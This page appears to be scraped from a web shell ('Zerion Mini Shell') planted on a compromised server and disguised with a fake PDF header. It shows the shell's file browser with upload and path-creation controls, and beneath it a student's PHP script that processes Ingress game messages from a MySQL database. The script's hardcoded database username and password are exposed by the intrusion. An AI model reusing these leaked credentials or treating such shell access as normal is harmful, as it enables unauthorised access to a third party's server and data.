%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/old2/_music/diplomka/diplomka/src/cluster/
Upload File :
Create Path :
Current File : /www/old2/_music/diplomka/diplomka/src/cluster/preprocess.php

<?php
header("Content-type: text/plain");
include "dibi.min.php";
include "Portal.php";
dibi::connect(array(
    'driver'   => 'mysql',
    'host'     => 'localhost',
    'username' => 'waritko',
    'password' => 'blade666',
    'database' => 'ingress',
    'charset'  => 'utf8',
));

$allowed = array("captured", 'deployed an', 'destroyed an');
$portals = array();
$actions = 0;

$data = dibi::query("select [message] from [messages] where [city]='Brno' order by [time]");
foreach($data as $d)
{
    $o = json_decode($d->message);
    if(in_array(trim($o[2]->plext->markup[1][1]->plain), $allowed))
    {
        $actions++;
        if(trim($o[2]->plext->markup[1][1]->plain) == 'captured')
        {
            $side = $o[2]->plext->markup[0][1]->team;
            $guid = $o[2]->plext->markup[2][1]->guid;
            if(!isset($portals[$guid]))
            {
                $lat = $o[2]->plext->markup[2][1]->latE6;
                $lon = $o[2]->plext->markup[2][1]->lngE6;
                $portal = new Portal($guid, $side, $lat, $lon);
                $timestamp = floor($o[1] / 1000);
                $portal->setSide($side, $timestamp);
                $portal->name = $o[2]->plext->markup[2][1]->plain;
                $portals[$guid] = $portal;
            }
            else
            {
                $timestamp = floor($o[1] / 1000);
                $portals[$guid]->setSide($side, $timestamp);
            }
        }

        if(trim($o[2]->plext->markup[1][1]->plain) == 'deployed an')
        {
            $guid = $o[2]->plext->markup[4][1]->guid;
            if(!isset($portals[$guid])) continue; // If portal wasn't captured, don't bother
            $level = (int)substr($o[2]->plext->markup[2][1]->plain, 1);
            $portals[$guid]->addResonator($level);
            if($portals[$guid]->getLevel() >= 7)
            {
                $timestamp = floor($o[1] / 1000);
                $portals[$guid]->setCompleted($timestamp);
            }
        }

        if(trim($o[2]->plext->markup[1][1]->plain) == 'destroyed an')
        {
            $guid = $o[2]->plext->markup[4][1]->guid;
            if(!isset($portals[$guid])) continue; // If portal wasn't captured, don't bother
            $level = (int)substr($o[2]->plext->markup[2][1]->plain, 1);
            $portals[$guid]->destroyResonator($level);
            if($portals[$guid]->getLevel() < 7)
            {
                $timestamp = floor($o[1] / 1000);
                $portals[$guid]->destroy($timestamp);
            }
        }
    }
}

$i = 0;
dibi::query("truncate table [preprocessed]");
foreach($portals as $p)
{
    if(count($p->history) > 0)
    {
        $i++;
        print_r($p);
        echo "\n\n";
        $arr = array(
            'guid' => $p->guid,
            'data' => serialize($p)
        );
        dibi::query("insert into [preprocessed]", $arr);
    }
}

print "\n\n\n$i";

?>

Zerion Mini Shell 1.0